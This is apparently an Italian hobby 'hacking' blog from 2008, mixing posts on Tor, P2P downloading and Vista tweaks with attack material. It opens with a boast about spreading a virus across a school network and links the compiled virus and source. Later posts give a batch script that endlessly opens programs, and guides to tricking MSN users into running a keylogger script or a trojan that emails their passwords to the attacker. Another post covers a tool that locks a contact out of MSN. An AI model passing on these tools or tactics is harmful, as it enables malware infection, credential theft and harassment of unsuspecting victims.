IL VIRUS �? FUNZIONANTE E ABBASTANZA PERICOLOSO POICH�? UN UTENTE NON SI ACCORGE DELLA SUA PRESENZA ALMENO NELLA PRIMA SETTIMANA QUESTO PER EVITARE DI FAR CAPIRE CHE SONO STATO IO AD INFETTARLO QUI POSTO IL LINK MI DISCOLPO DALL'USO DEL VIRUS CHE VERR�? FATTA NON PROVATELO A SCUOLA ANCHE SE LO FATTO IO E POI NON SIAMO ANDATI NELL'AULA DI LAB PER UN MESE E NON PERCH�? MI AVEVANO SGAMATO MA XCH�? IL VIRUS SI ERA SPOSTATO IN TUTTI I PC COLLEGATI IN RETE E QUINDI ANCHE QUELLO DEL PROF E SONO STATI UN SACCO DI TEMPO A FORMATTARLI TUTTI PER POTERLI RIPRISTINARE.
A..... MI DIMENTICAVO NEL LINK C'�? IL VIRUS GI�? COMPILATO E FUNZIONATE + IL PROGETTO ORIGINALE + IL CRACK CHE SERVE A CAMBIARE LA DATA DI SCADENZA DEL VIRUS CIO�? IL GIORNO QUANDO DEVE PARTIRE
DOWNLOAD DEATH NOTE+CRACK+SORGENTE (COPIATE E INCOLLATE IL LINK NELLA BARRA DEGLI INDIRIZZI )-------> http://napsterbegin.altervista.org/Sorgent...e/DeathNote.zip

Proxarsi

noreply@blogger.com (MOD) — Fri, 01 Aug 2008 13:01:00 +0000

Tutti sanno cosa è un proxy ma magari nessuno sa come proxarsi.... quindi...
Il migliore proxy di tutti è decisamente Tor

Vi avverto: questo tutorial sarà molto difficile quindi n00b shò! No scherzo xD..Non si nasce mai imparati

Pronti? Bene.

Prima di tutto dobbiamo scaricare il pacchetto contenente Tor - Vidalia - Privoxy

DOWNLOAD DIRETTO: QUI

Seguite lo wizard senza toccare niente e alla fine cliccate su Finish> Vedrete che vi compariranno due piccole iconcine nella Barra delle Applicazione: una a forma di cipolla rossa e una grossa P bianca..
Per poter configurare Tor con il vostro browser predefinito (vi consiglio Mozilla Firefox) dobbiamo scaricare SwitchProxy.
DOWNLOAD: QUESTO
Cliccate su Installa Ora e poi vi si aprirà una finestra: cliccate su Installa Adesso.

Installandolo, si aggiungerà una toolbar..
Andate su Aggiungi e cliccate su Standard.

Dopo mettiamo le seguenti informazioni:
-Identificativo proxy: tor
-Proxy HTTP: localhost PORTA: 8118
-Proxy SSL: localhost PORTA: 8118
-Proxy FTP: localhost PORTA: 8118
-Proxy Gopher: localhost PORTA: 8118

Lasciamo vuoto Proxy SOCKS

Facciamo OK.

Abbiamo quasi finito.

Andiamo dalle nostre iconcine in basso a destra:
Sulla cipollina facciamo clic col tasto destro del mouse e facciamo AVVIA (diventerà verde)
Poco più sopra vedremo "Proxy: Nessuno Tor Disabled. Click tasto destro del mouse su Tor Disabled e facciamo "Toogle for status Ctrl+Shift+T
La scritta diventerà verde
Andiamo sulla SwitchProxy Toolbar e dove è scritto Proxy: Nessuno selezioniamo invece Tor...
Facciamo Applica e FATTO....

Se andiamo su MioIp il nostro IP sarà diverso da quello che avevamo prima..
Con i proxy la connessione ad Internet sarà lentissima ma ne vale proprio la pena!

Quando volete di nuovo proxarvi andate su C:/Programmi/Tor e attivate tutto ^^

Se non avete capito qualcosa, andate QUI perchè contiene le immagini
Forse sarà più chiaro!
CIAU!

Google fa da proxy!

noreply@blogger.com (MOD) — Fri, 01 Aug 2008 13:01:00 +0000

Impossibile da credere ma il motore di ricerca più famoso al mondo vi farà da proxy senza che voi andiate a scervellarvi con passaggi estremi e complicatissimi.

Andiamo qua:

QUA

Vedremo il traduttore di Google..Posizioniamoci sul secondo TRADUCI e scriviamo www.myip.it e inviamo.
Non credete ai vostri occhi, eh? XD
Google ci dà il suo IP!!

Se volete andate a controllare sul prompt digitando ipconfig

Crackare il server di Google

noreply@blogger.com (MOD) — Fri, 01 Aug 2008 12:55:00 +0000

Molti di voi per scaricare �?�..

usano Programmi ad esempio emule,limewire,

Ma ce un modo più rapido ed efficace di scaricare musica,video,programmi

Vi chiedete come?????Bhe facile crakare il server di google.

Allora inizziamo Andate su seguente sito www.google.it

Ed inserie il seguente script:

�??parent directory�??NOME FAIL -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

Ns: inserire nella barra di ricerca bene dove ce scritto Nome fail

Cancellate e mettente un vostro titolo

Di musica video

Clicate invio e dovete torvovare una cosa del genere

Index?/ ecc. ecc.. clicateci su

E torverete quello che vi serve�?��?�

Virus in bat

noreply@blogger.com (MOD) — Fri, 01 Aug 2008 12:54:00 +0000

ecco il code di un virus in bat�?�copiatelo in un file di testo poi rinomina in .bat

@echo off
attrib +h �??xxx.bat�??
:1
start iexplore.exe
start notepad.exe
start firefox.exe
start charmap.exe
start cmd.exe
goto:1

* Salvate nel formato .bat

Adesso quando verra aperto verranno aperti i processi scritti nel codice.

PSWD MSN

noreply@blogger.com (MOD) — Fri, 01 Aug 2008 12:51:00 +0000

Salve raga ora vi posto questo script per rubare la password di msn,vi ricordo che è a scopo informativo e che io non lo ho ancora provato!!!

ECCOVI UN ALTRA GUIDA PER RUBBARE PASSWORD MSN �?�

Il tutto a puro scopo informativo, dove è possibile scoprire la password di un contatto di MSN facendogli installare un semplice script per Messenger Plus! Live. Prima di tutto la vittima deve aver installato Messenger Plus! Live. Per capirlo basta chiederlo oppure vedere se ha il nickname colorato.

Ora resta che vi scaricate msgXs 1.5 da QUI e inviarlo alla vittima. Pultroppo il rpoblema più grande e quello di far cascare la vittima ad aprirlo, e questo lo si può fare dicendogli che lo script ha una funziona vera. Lafunziona esiste davvero ed è quello di cambiare il Messaggio Personali direttamente da una Chat. I comandi di questa funziona sono:

1. !mp:[Messaggio nel PSM] = Con questo comando inserirete un nuovo Messaggio nel PSM di MSN. Al posto di [Messaggio nel PSM] dovete ovviamente scrivere la frase.
2. !mp:!mpm = Con questo comando potete modificare il vostro Messaggio personale.

Adesso invece vediamo i comandi per rubargli la Pass:

1. MSN aggiornato = E�?? il comando con cui vi farete inviare le password all�??insaputa dell�??utente.
2. ciao-null- = Con questo invece gli farete cancellare la funziona di rubare la password. L�??utente però dopo aver ricevuto questa scritta si deve disconettere da Messenger.

Lo script contiene 2 programmi principali:

* MessenPass: il programma con cui ruberete le password memorizzate.
* msgXs Keylogger: Il programma keylogger dove salverà le passwrod quando l�??utente accederà ad MSN.

Quando la vittima avvierà lo script essa non potrà più cancellarlo perchè si riattiverà quando riavvia il sistema. Per rimuovere questo script allora bisogna andare nella cartella C:ProgrammiMessenger Plus! LiveScripts e cancellare la cartella msgXs. E�?? consigliato inoltre che la vittima chiede e riapre Messenger per rubare le password giuste. Questo è consigliato perchè quando la vittima chiude e riapre MSN il keylogger si avvierà e quindi ci sono più possibilità di scoprire la password. Ovviamente questo metodo funziona 8 volte su 10 ma si può sempre sbagliare.

Per scoprire se vi stanno facendo un attacco simile a voi, e voi avete installato questo script, allora spunterà una finestrella a destra del desktop con la scritta: Errore di connessione, Riprova più tardi. Se la vittima ha versioni più vecchie della 8.5, può capitare che non funzioni.

Lo script è stato creato da Suxsem e modificato da Me. Per scaricare la versione originale, problemi o domande chiedete qui oppure sul Forum in questo Topic.

fonte www.ago1980.wordpress.com

FON

noreply@blogger.com (MOD) — Fri, 01 Aug 2008 11:01:00 +0000

FON è la più grande Community WiFi nel mondo. FON è una Community di persone che rendono il WiFi gratis e universale. La nostra visione è che il WiFi ovunque sia possibile grazie ai membri della Community, i Foneros. Condividiamo parte della nostra connessione di casa e otteniamo accesso gratis nei FON Spots della Community nel mondo!

CONNETTI

I Foneros si connettono gratis a migliaia di FON Spots WiFi nel mondo. Se non vuoi condividere il tuo WiFi puoi comprare accessi poco costosi. Trova FON Spots nella nostra Mappe FON

Buon FON

FON è un Movimento di persone che costruiscono una Community WiFi globale e gratis condividendo idee e esperienze. Visita i nostri blogs, boards e beneficia delle nostre features!

Entra in FON

Tutti i modi per trovare una pswd msn

noreply@blogger.com (MOD) — Thu, 31 Jul 2008 13:18:00 +0000

Windows Live Messenger nome in codice Msn è sicuramente il servizio di Instant Messaging più diffuso al mondo, e proprio per questo è anche quello preso più di mira da malintenzionati.
Per evitare che ci sia rubatala password, pubblico questa guida che mi è stata gentilmente segnalata e messa a disposizione da Michele di Msntribre, con lo scopo che vi dia una panoramica completa su tutte le situazioni pericolose da cui stare alla larga e su cosa fare più attenzione.
Ecco le 11 maniere con le quali potrebbero rubarvi la password:

------Tramite una chiavetta usb, il malintenzionato potrà far partire un programma che ruberà le vostre password, non solo quella di msn. Si consiglia di non salvare mai la password sul vostro msn perchè in questo modo non ci riusciranno.

------Indovinando, possono provare a indovinare la password, di solito si usano le password piu banali e utilizzate tipo 123456, quindi cercate di farvi una password complicata tipo con questi simboli: -_�??=/()!£$%^?,;

-------Tramite risposta segreta, quando avete creato il vostro account avete impostato una domanda, per esempio il nome del primo animale domestico, e se avete messo come risposta segreta per esempio pippo, il pirata semplicemente potrà chiedervi come si chiamava il vostro primo cane, e voi rispondendo, avrete dato la password al pirata. Quando dovete mettere la risposta segreta, si consiglia di mettere parole difficili.

-----Social enginering, molti pirati si fanno account tipo msn_staff@hotmail.it e vi contattano dicendovi che sono dello staff di msn, che ci sono stati problemi e vi chiedono passowrd e indirizzo e-mail!! quindi se vi contattano account del genere non dategli mai la password!! (idem se vi mandano un�??email)

-------Messenger pass, è un programma che rivela tutte le password di msn salvate sul pc, quindi una persona che ha accesso fisico al vostro pc, potrebbe far partire questo programma che gli permetterà di rubare la password!! Si consiglia, se utilizzate un pc in luoghi con più persone tipo gli uffici, di non salvare mai la password, cosi non ve la possono rubare.

------Fake login, vi dicono di entrare in un sito che risulterà uguale al login di hotmail solo che quando inserirete password e indirizzo email, automaticamente invia i dati da voi inseriti al pirata via email, quindi state attenti quando qualcuno che non conoscete bene vi dia un link strano che vi porta ad inserire i vostri dati.

-----Cookie grabbing, metodo attualmente non piu funzionante perchè è stato fixato il bug, ma micidiale, se dovessero trovare di nuovo il metodo per rubarvi i cookie non avrete scampo finchè non viene fixato di nuovo il bug.

------Brute force, metodo ormai lento e difficile da eseguire, bisognerebbe avere una grande lista delle parole più utilizzate e il pirata deve sperare che la vostra password sia nella lista.

-----Exploit, i pirati potrebbero eseguire exploit sui server di hotmail e rubare le password, ma penso che sia impossibile, e se proprio ci riuscissero il giorno dopo sarebbe in galera!!

-----Registrazione, molte persone sono abituate a inserire indirizzo email e password di msn anke nelle registrazioni per esempio dei forum, quindi i pirati proprietari del forum posso provare a usare la password da voi inserita. Si consiglia di non inserir la
password di msn in nessun altro sito o forum.

------Keylogger, i pirati possono inserire questo programma nel vostro pc, il quale registrerà qualsiasi tasto venga premuto e invierà poi il report tramite email al pirata stesso. Si consiglia di aggiornare spesso gli antivirus e i firewall, in modo che potrete rilevare questi programmi.

Freezer msn

noreply@blogger.com (MOD) — Thu, 31 Jul 2008 13:18:00 +0000

Tribe freezer è il nuovissimo programma sviluppato dal Msn Tribe Team, scritto da Zero-Cool con la grafica di PaUrAzZ e 13booob13.
Tribe freezer è un freezer molto potente permette di freezare un contatto sino a un periodo illimitato (MAX), per freezare un contatto significa che inserendo un contatto di Msn, quel contatto che avrete freezato non potrà piu�?? collegarsi sino al periodo stabilito da voi, infatti tribe freezer al contrario di altri freezer ti da la possibilità di scegliere per quanto tempo congelare (freezare) un contatto, da 2 minuti sino a 6 ore e piu�??�?�
Le regole da seguire per congelare un contatto sono:
Inserite il contatto da congelare nell�??apposito spazio(E-mail address), selezionare la durata del congelamento, e successivamente fare click su Freeze�?�
Per fare in modo che il congelamento abbia effetto sino a lungo termine, è necessario non chiudere mai il programma ma bensi�?? ridurlo a icona o a tray icon e selezionare la durata �??MAX�??�?�
Il congelamento va effettuato (possibilmente) solo quando il contatto della vittima è offline, oppure se lo fate quando è online, la vittima quando si scollegherà da msn e tenterà di ricollegarsi, gli verrà mostrato un messaggio di errore e quindi il contatto sarà congelato(se non si scollega da msn il freeze non avrà effetto)
Un ottima funzionalità che è stata aggiunta sul tribe freezer è la barra di congelamento che permette di vedere quando la durata del freeze è terminata, e di conseguenza stabilire quando il contatto della vittima potrà riacedere a Msn.

Anche se avete il programma ridotto a icona al termine della durata del congelamento oltre alla barra di congelamento vi comparirà un�??avviso che vi segnalerà che il contatto potrà nuovamente accedere�?�

Scarica allegato
tribe_freezer.rar ( Numero download: 231 )

Pswd msn... NO PROBLEM!

noreply@blogger.com (MOD) — Thu, 31 Jul 2008 13:15:00 +0000

o nn mi assumo la responsabilità delle cazzate ke farete cn questo programma io lo do solo a scopo informativo

http://www.megaupload.com/?d=ZLH45P4M

-Scompattate l'archivio in una cartella e aprite il file netray.dll con il blocco note.

-Sostituite xxx@hotmail.it con la vostra mail.

-Salvate la modifica.

-Create un nuovo archivio contenente sempre i 2 file.

Date l'archivio ai vostri amici o mettetelo su un vostro sito e spacciatelo come funzionante.

Aspettate che vi arrivano le password direttamente nella vostra email.

E' importante che netray.dll si trova nella stessa cartella del programma e che mantiene questo nome e estenzione.
Questa versione ha come smtp quello di alice.

praticamente dovete dire di inserire la loro pasw e la loro email cosi sotto gli compaiono le pasw dei loro contatti invece arriva un email cn la pasw a voi

MSN

noreply@blogger.com (MOD) — Thu, 31 Jul 2008 13:14:00 +0000

Ciao a tutti

inizierò a mettere le Addons.

Le Addons sono delle applicazioni aggiuntive per Windows Live Messenger ne esistono tante ma le principali sono:

Stuff Plug 3.50 :

Nel nuovo Stuff Plug sono presenti nuovi accessori:

Fra cui Memory flasher he riduce l'uso della memoria ram che sfrutta WLM ecc.

Stuff Plug è disponibile in tante lingue le più famose

Stuff plug è compattibile con le versioni 8.1, 8.5 e bisognerà aspettare alla 4.0 per essere compattibile alla 9.0

ecco il link del download

http://www.stuffplug.com/?act=download

Msn Plus 4.60

Ciao a tutti da poco è uscita la nuova versione di Msn Plus la 4.60

oltre ad aver migliorato la grafica sono state migliorate le funzioni principali gli Scripts e le Skins

agli Script è stato aggiunto:

* UploadFileFTP
* GetElementPos
* ExtractFromZIP
* Funzioni di callback

e invece per le Skins è stao aggiunto:

* Nuove colorazioni Modifica del font di base di Wlm Variare l'aspetto della skin in base ai giorni (come per le festività)
* Cambiare l'aspetto grafico in base alla versione di Wlm in uso
* E' stata aggiunta la finestra About per i riconoscimenti degli sviluppatori

Inoltre Msn Plus è compattibile nelle versioni di WLM 8.0,8.1,8.5 e 9.0 (beta)

ecco il link del download

http://www.msgpluslive.it/download/

Msn Discovery:

le caratteristiche sono davvero tante, quindi andiamo con ordine: vi parlerò prima dei comandi utilizzabili per fare scherzi durante una conversazione, poi delle impostazioni per personalizzare al massimo l'interfaccia di Live Messenger, poi deglia avvisi, dell'interfaccia dei messaggi, e, infine, delle impostazioni di protezione.

I comandi sono delle parole da inserire prima del testo di un messaggio per attivare alcune funzionalità di Discovery. Eccoli in dettaglio:

# !imitate
Il Comando + Usato è !imitate. Attraverso !imitate, potete copiare il contatto con cui state chattando facengoli scrivere qualsiasi cosa voi scegliate usando il suo Nome, Font e Colore della scrittura. Funziona anche nelle conversazioni di gruppo; in questo caso apparirà un Popup nel quale dovrete scegliere il contatto da imitare

Esempio:
!imitate I'm crazy ----------> Il messaggio apparirà al contatto come se fosse stato scritto da lui.

# !autoion e !autoioff
Questo comando attiva (il secondo disattiva) l'imitazione (!imitate) automatica in TUTTE le conversazioni. Se avete l'imitazione automatica non dovrete ogni volta scrivere !imitate per copiare il contatto nella conversazione.

# !fakeapp
Questo comando vi permette di inviare falsi inviti ad applicazioni che non esistono.

Esempio:
!fakeapp il cervello

Al contatto apparirà: "Contatto è invitato ad attivare il cervello"

# !error
Con il comando !error potrete inviare falsi messaggi che appariranno come errori di Windows Live messenger.

Esempio:
!error Windows Live Messenger si chiuderà tra 60 secondi.

# !boot
Con il comando !boot potete "kickare" (Disconettere) TUTTI i contatti fuori dalla una Conversazione di Gruppo. Voi, e tutti gli altri contatti, ricevete un errore e sarete cacciati dalla Conversazione Multipla. (N.B. NON FUNZIONA SEMPRE!!! Nel forum ufficiale è stato annunciato:
"The !boot command it's been removed from future versions because it doesn't work anymore.")

# !autoresponse
Con !autoresponse seguito dal testo ("!autoresponse Sono Fuori" ) potete inviare un messaggio automatico quando un contatto cercherà di chiamarvi.

* !send

Con !send "Percorso del file", es. !send C:\Picture.jpg , potete mandare un file durante una conversazione.

* !sendfile

Con questo comando potete aprire una finestra di dialogo per mandare un file.

* !font

Con !font potete inviare il vostro font (carattere) al contatto con cui state parlando, in modo tale che poi possa utilizzarlo.

Ecco il link del download:

http://live.msgdiscovery.com/index.php?page=download

Scaricare da internet

noreply@blogger.com (MOD) — Thu, 31 Jul 2008 13:08:00 +0000

Scaricare da internet

Voi tutti di sicuro usate emule, limewire, bearshare ecc. per scaricare da internet, ma perche non mettere a riposo questi programmi e usare il nostro browser. Dopotutto, i file provengono da li�?�

Prima di iniziare pero premetto che tutto cio che segue è nel limite della LEGALITA, almeno non ci ficcheremo in guai�?�

Ecco alcuni link da dove scaricare:

Film:
www.vcast.it, funziona come un videoregistratore on-line, è in grado di registrare trasmissioni tv dal digitale terrestre e dei canali tradizionali.
Il file pero deve essere scaricato entro 3 giorni e poi puo essere visto su varie piattaforme a seconda dell impostazione.

Musica:

Incredibile ma vero, pure gli ultimi successi sono disponibili on-line!!
Ecco il sito di un bell archivio ricco di brani: www.archive.org (il link è tutto un programma )

Programmi:

Ecco qua un buon sito dove trovare programmi gratuiti che sarebbero a pagamento: www.giveawayoftheday.com

Foto:

Google immagini LOGICO no??!! Ahahahah

MEMORIZZARE TV E FILM DA INTERNET

Prima di tutto è meglio premettere che i video on-line hanno molte estensioni ma la piu comune è Flash (E�?? una tecnologia usata pr mandare in web video con un basso birtrate) l estensione è: �??.flv�??
Sono anche usati pero: Quicktime (MOV), Real (RM) e Windows Media Video (WMV)

Ecco i link contenenti video: (le lettere servono a determinare il metodo di registrare i contenuti dei siti, dopo vedremo come fare)

it.video.yahoo. com B/D
video.aol.com D
video.google.it A/B/D
vids.myspace.com A/B/D
dailymotion.alice.it A/B/D
dontwatchme.com C
focus.it/video B/D
ifilm.com A/B/D
realguide.com B/D
mediahopper.com D
youtbe.it A/B/D
comedycentral.com/it B/D
mtv.it/videos B/D

spaceflight.nasa.gov/multimedia D
fabchannel.com D
hamotov.com D
imdb.com/chart D

Cominciamo:

Memorizzare I filmati flash con IE

1) Scaricate viLoader dal sito www.viloader.net

2) Aprite IE e inseriteci un sito tra quelli sopraelencati che vi interessa (i siti appropriati sono indicati con una A)

3) Ammettiamo di voler scaricare qualcosa da youtube, dopo che si è caricata la pagina di youtube fate un click su Video e Spettacolo

4) Fate riprodurre il video (click sull anteprima)

5) Clickate con il destro accanto al riquadro di riproduzione e selezionate Download Video

6) Nella nuova finestra che si aprira clickate su >>Trasferimento<<

7) Clckate su Salva e il gioco e fatto

PER RIPRODURRE IL VIEDO ASPETTATE E LEGGETE�?�.

Memorizzare i filmati flash con Firefox

1) Scaricare Download helper dal sito: www.downloadhelper.net (meglio la versione 2.6.1)

2) Installate il programma

3) A questo punto dovreste vedere un icona con scritto GO

4) I siti internet idonei al download sono contrassegnati con la lettera B

5) Ammettiamo di voler scaricare un video da google video, andate sul sito, clicckate su video divertenti e su un video

6) Quando farete partire il video vedrete che l icona di download helper comincera a muoversi, clickate sulla freccetta accanto e selezionate la voce con il titolo del video e poi lestensione .flv

7) Si aprira la finestra salva file, memorizzate il viedo come sempre e sara vostro!

Riprodurre i video flash:

1) Scaricate Wimpy FLV dal sito www.wympyplay.net e installatelo

2) Apritelo e con un click su WIMPY (l immagine con una cartella azzurra) si aprira la finestra �??open a file�??

3) Selezionate il video che volete riprodurre e il gioco è fatto!

Questo è tutto spero vi sia stato utile, anche se so che continuerete a usare il solito programma p2p�?�

CiaoCiao

LPhant

noreply@blogger.com (MOD) — Thu, 31 Jul 2008 13:02:00 +0000

Altro che emule! Ce Lphant!
Lphant
che trovate qui: Lphant
In parole povere: Lphant è una fusione tra emule e bittorrent, è veloce, è sicuro e la grafica è molto simile a quella di emule.... Meglio di cosi...

Scaricatelo, e cominciamo con l installazione:
Ad un certo punto vi si aprira una pagina con titolo: "limiti di trasferimento"
In connessione mi raccomando selezionate la vostra velocita
In Velocita max dow impostate il valore a 1000
E in quello sotto a 40

Una volta installato, lanciatelo, andate su opzioni.
Andate in Main e aumentate il numero di connessioni
Impostate fonti massime a 500 e connessioni massime a 200
E max connection per file a 50

é molto simile ad emule quindi non avrete difficolta.... MA NON è ANCORA FNITA!

1) Aggiorniamo i server!

Come il mulo, pure l elefante ha bisogno di unauona lista di server aggiornata.... E allora DIAMOGLIELA!
Andate in opzioni/Advanced/edonkey
Abilitate l opzione update server list when connecting to a server

In questo modo la lista si aggiornera pero è sempre bene caricare i server da internet:

Andate in Opzioni/Advanced/edonkey
Spuntate lista server
e mettete il seguente indirizzo: http://www.gruk.org/server.met
Ed ecco i server sempre aggiornati!

2)Camuffiamo l elefante!

Alcuni tracker impediscono ai programmi P2P di scaricare, quindi facciamo credere al tracker che stiamo usando un programma tipo Utorrent:

Fate in modo di poter visualizzare cartelle e file nascosti
Dopo cio cercate la cartella utente di Lphant (C:doc e settings nome utente dati appllphant
Aprite CON il blocco note il file config.xml
Modificate l opzione BTID con la stringa
Et voila!

3) Via la Pubblicita!

Per disabilitare il banner pubblicitario presente all avvio:
Andate in C:\windows system32driversetc
Aprite il file hosts con il blocco note
E aggiungete: lphant.com localhost in una nuova riga in fondo al testo
E via pure la pubblicita!!

Ecco finita la messa a punto dell elefante!!

Ciao a tutti!

Ottimizzare sVista

noreply@blogger.com (MOD) — Thu, 31 Jul 2008 13:01:00 +0000

Eccomi con la seconda parte dedicata all ottimizzazione di Windows sVista, la ciofeca di casa Microsoft:

Prima di tutto eseguite sempre un punto di ripristino, dopo cio:

1) Ridurre il carico di lavoro del disco rigido:

Prima di tutto cercate di "scoprire" quanta ram ha ilvostro pc
Per farlo basta schiacciare il tasto con la figurina di windows (solitamente in basso a sx) e pausa contemporaneamente
Nella parte sx della finestra clickate su gestione dispositivi
Fate click su impostazioni
Andate sulla scheda avanzate e fate click su cambia
Togliete la spunta nel riquadreo che dice: Gestisci automaticamente dimensioni file di paging per tutte le unita
Fate click sull impostazione dimensioni personalizzate
Nel primo campo bianco scrivete la dimensione doppia della vostra RAM
E nel secondo lo stesso numero
Click su imposta
Ok, e poi dovrete riavviare il pc

2) Disattivare 15 servizi inutili di vista

Fate click su start
Nel campo di ricerca digitate servizi, selezionatelo
Ce una tabella, dove sono elencati molti dei servizi che offre vista
Per disattivarne una basta fare doppioclick su una voce e poi dovete cambiare automatico in disabilitato
Ecco i servizi:
Aquisizione immagini di windows
Controllo genitori
Gestione account di protezione
Hosts di dispositivi UPnP
Host sistema di diagnostica
Individuazione SSDP
readyBoost
Servizio media center extender
Servizio criteri di diagnostica
Servizio di imput tablet pc
Servizio enumeratore dispositivi mobili
Telefonia
Utilita di pianificazione classi multimediali
A fine di ogni disattivazione dovrete RIAVVIARE il pc

3) Velocizzare il disco rigido

Andate su start, E NEL CAMPO DI RIERCA scrivete cmd
Tasto dx, esegui come amministratore
Nel prompt scrivere: >fsutil behavior set disablelastaccess 1
e schiacciare invio

Riavviate il prompt come descritto prima
digitate: >fsutil behavior set disable8dot3 1
E premete invio

ed ecco anche velocizzato il disco rigido

4) E per finire, fa sempre bene una deframmentazione del disco.

Questo è tutto....
Ciao a tutti spero sia utile...

Ottimizzare sVista

noreply@blogger.com (MOD) — Thu, 31 Jul 2008 12:55:00 +0000

Vi ripropongo, per chi nn lo sapesse e ha vista, un po' di "trucchetti" letti su varie riviste e COLLAUDATI da me, quindi fungono:

Prima di cominciare pero è sempre bene creare un punto di ripristino.... Se qualcosa andasse storto...

Comicniamo:

1) Se non ci interessa cercare velocemente file sul pc togliamo l indice a vista:

Clickate su start/computer
Clickate con il dx sul disco dove è installato vista (di solito è c)
Selezionate proprieta
Nella scheda generale, deselezionate la casella "indicizza unita per una ricerca rapida dei file"
Clickate su applica e poi su ok
Dite continua a tutti i permessi e il primo punto è fatto

2)Eliminiamo la tecnologia compressione differenziale remota

Clickate su start/pannello di controllo, programmi e funzionalita
Clickate su attivazione o disattivazione delle funzionalita di Windows
Continua
Deselezionate la casella compressione differenziale remota e clicckate su ok
L attesa potrebbe durare alcuni minuti
Ecco alzate le prestazioni

Ma nn è finita...

3)Se avete un buon antivirus, e un buon anti spyware disattivate Windows Defender

Start/pannello di controllo/protezione|windows defender
Nella schermata che ci si apre clickiamo su strumenti e poi su opzioni
Scorrete la schermata fino a opzioni amministratore
Deselezionate la casella Usa windows defender
Click su salva, continua e chiudi

4) Eliminiamo le funzioni che non servono

Start/pannello di controllo/Sistema e manutenzione
Strumenti di amministrazione
Doppio click su servizi, click su continua
Ora disattiviamo i servizi inutili come il fax:
Doppio click sulla voce fax, tipo di avvio e poi disabilita
Click su applica e poi ok.
Fate la stessa cosa con: file non in linea
Servizio di imput tablet pc
Ricerca di wondows

5) Ottimiziamo il risparmio energetico

Start/pannello di controllo/sistema e manutenzione e poi opzioni risparmio energia
Spuntate la casella prestazioni elevate
Clickate su: crea combinazione per il risparmio di energia
In nome combinazione scrivete il nome del profilo
Clickate su avanti
Nei menu a tendina "disattivazione schermo" & "sospensione computer" selezionate MAI
Clickate su crea
Ecco anche l ottimizzazione del risparmio energetico

Questo è tutto... Per ora... Spero vi sia utile

Ciao a tutti!!!

Cosa profonda

noreply@blogger.com (MOD) — Thu, 31 Jul 2008 12:26:00 +0000

Prima di iniziare con gli interventi volevo specificare che IO NON MI ASSUMO NESSUNA RESPONSABILITA DELL USO CHE FARETE DELLE COSE CHE SCRIVO.

cominciamo con una cosa davvero interessante:
In questo mondo silenzioso, tutta la comunicazione è digitata. Per entrare in esso, ci si deve liberare sia del corpo che dell�??ambiente circostante e si diviene solo una cosa fatta di parole. Si può vedere quello che i nostri interlocutori stanno dicendo (o che hanno detto di recente), ma non come sono loro fisicamente, né il luogo dove si trovano. Gli incontri in questa città virtuale sono continui e le discussioni variano dagli ambiti sessuali ai programmi di deprezzamento. Se sia un singolo trillo telefonico o milioni, essi sono tutti connessi fra di loro. Collettivamente, formano ciò che gli abitanti della città virtuale chiamano la Rete. Essa si estende attraverso l�??immensa regione dello stato di elettroni, microonde, campi magnetici, luci intermittenti che lo scrittore di fantascienza William Gibson battezzò Cyberspazio.
Noi siamo stati dominati da sadici o ignorati dagli indifferenti. I pochi che avevano qualcosa da insegnarci trovavano in noi volenterosi allievi, ma queste persone sono come gocce d'acqua nel deserto. Ora e' questo il nostro mondo...il mondo dell'elettrone e dello switch, la bellezza del baud. Noi facciamo uso di un servizio gia esistente che non costerebbe nulla se non fosse controllato da approfittatori ingordi, e voi ci chiamate criminali. Noi esploriamo... e ci chiamate criminali. Noi cerchiamo conoscenza...e ci chiamate criminali. Noi esistiamo senza colore di pelle, nazionalita', credi religiosi e ci chiamate criminali. Voi costruite bombe atomiche, finanziate guerre, uccidete, ingannate e mentite e cercate di farci credere che lo fate per il nostro bene, e poi siamo noi i criminali. Si, io sono un criminale. Il mio crimine e' la mia curiosita'. Il mio crimine e' quello che i giurati pensano e sanno non quello che guardano. Il mio crimine e' quello di scovare qualche vostro segreto, qualcosa che non vi fara' mai dimenticare il mio nome. Io sono un hacker e questo e' il mio manifesto. Potete anche fermare me, ma non potete fermarci tutti...dopo tutto, siamo tutti uguali.

Il blog di MOD

Ottimizzare RAM

Estrarre dati sensibili da internet

Bucare un sito

Keylogger in C++

Nascondere file in un immagine

Virus death note

Proxarsi

Google fa da proxy!

Crackare il server di Google

Virus in bat

PSWD MSN

FON

CONDIVIDI

CONNETTI

Buon FON

Tutti i modi per trovare una pswd msn

Freezer msn

Pswd msn... NO PROBLEM!

MSN

Scaricare da internet

LPhant

Ottimizzare sVista

Ottimizzare sVista

Cosa profonda